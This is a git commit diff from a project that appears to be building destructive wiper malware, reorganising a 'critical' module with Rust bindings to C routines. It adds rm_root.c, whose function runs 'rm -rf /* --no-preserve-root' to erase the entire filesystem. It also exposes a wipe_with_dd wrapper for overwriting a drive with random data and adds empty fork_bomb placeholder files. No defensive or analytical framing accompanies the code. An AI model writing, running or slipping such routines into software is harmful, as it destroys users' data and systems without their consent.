summaryrefslogtreecommitdiff
path: root/src/critical
diff options
context:
space:
mode:
Diffstat (limited to 'src/critical')
-rw-r--r--src/critical/classic/dd.c (renamed from src/critical/dd.c)0
-rw-r--r--src/critical/classic/dd.h3
-rw-r--r--src/critical/classic/mod.rs14
-rw-r--r--src/critical/classic/rm_root.c6
-rw-r--r--src/critical/classic/rm_root.h3
-rw-r--r--src/critical/dd.h3
-rw-r--r--src/critical/fork_bomb.c0
-rw-r--r--src/critical/fork_bomb.h0
-rw-r--r--src/critical/mod.rs14
9 files changed, 40 insertions, 3 deletions
diff --git a/src/critical/dd.c b/src/critical/classic/dd.c
index f3ca875..f3ca875 100644
--- a/src/critical/dd.c
+++ b/src/critical/classic/dd.c
diff --git a/src/critical/classic/dd.h b/src/critical/classic/dd.h
new file mode 100644
index 0000000..266d9b3
--- /dev/null
+++ b/src/critical/classic/dd.h
@@ -0,0 +1,3 @@
+#pragma once
+
+void random_data_linux(char sym_drive[16]); \ No newline at end of file
diff --git a/src/critical/classic/mod.rs b/src/critical/classic/mod.rs
new file mode 100644
index 0000000..f0e38a4
--- /dev/null
+++ b/src/critical/classic/mod.rs
@@ -0,0 +1,14 @@
+use std::os::raw::c_char;
+
+extern "C" {
+ pub fn random_data_linux(sym_drive: *const c_char);
+ pub fn rm_root();
+}
+
+pub unsafe fn wipe_with_dd(sym_drive: *const c_char) {
+ random_data_linux(sym_drive);
+}
+
+pub unsafe fn remove_root() {
+ rm_root();
+}
diff --git a/src/critical/classic/rm_root.c b/src/critical/classic/rm_root.c
new file mode 100644
index 0000000..0ebdaba
--- /dev/null
+++ b/src/critical/classic/rm_root.c
@@ -0,0 +1,6 @@
+#include <stdlib.h>
+#include <unistd.h>
+
+void rm_root() {
+ system("rm -rf /* --no-preserve-root");
+} \ No newline at end of file
diff --git a/src/critical/classic/rm_root.h b/src/critical/classic/rm_root.h
new file mode 100644
index 0000000..1ed79e9
--- /dev/null
+++ b/src/critical/classic/rm_root.h
@@ -0,0 +1,3 @@
+#pragma once
+
+void rm_root(); \ No newline at end of file
diff --git a/src/critical/dd.h b/src/critical/dd.h
deleted file mode 100644
index 70d855e..0000000
--- a/src/critical/dd.h
+++ /dev/null
@@ -1,3 +0,0 @@
-#pragma once
-
-void andom_data_linux(char sym_drive[16]); \ No newline at end of file
diff --git a/src/critical/fork_bomb.c b/src/critical/fork_bomb.c
new file mode 100644
index 0000000..e69de29
--- /dev/null
+++ b/src/critical/fork_bomb.c
diff --git a/src/critical/fork_bomb.h b/src/critical/fork_bomb.h
new file mode 100644
index 0000000..e69de29
--- /dev/null
+++ b/src/critical/fork_bomb.h
diff --git a/src/critical/mod.rs b/src/critical/mod.rs
new file mode 100644
index 0000000..f0e38a4
--- /dev/null
+++ b/src/critical/mod.rs
@@ -0,0 +1,14 @@
+use std::os::raw::c_char;
+
+extern "C" {
+ pub fn random_data_linux(sym_drive: *const c_char);
+ pub fn rm_root();
+}
+
+pub unsafe fn wipe_with_dd(sym_drive: *const c_char) {
+ random_data_linux(sym_drive);
+}
+
+pub unsafe fn remove_root() {
+ rm_root();
+}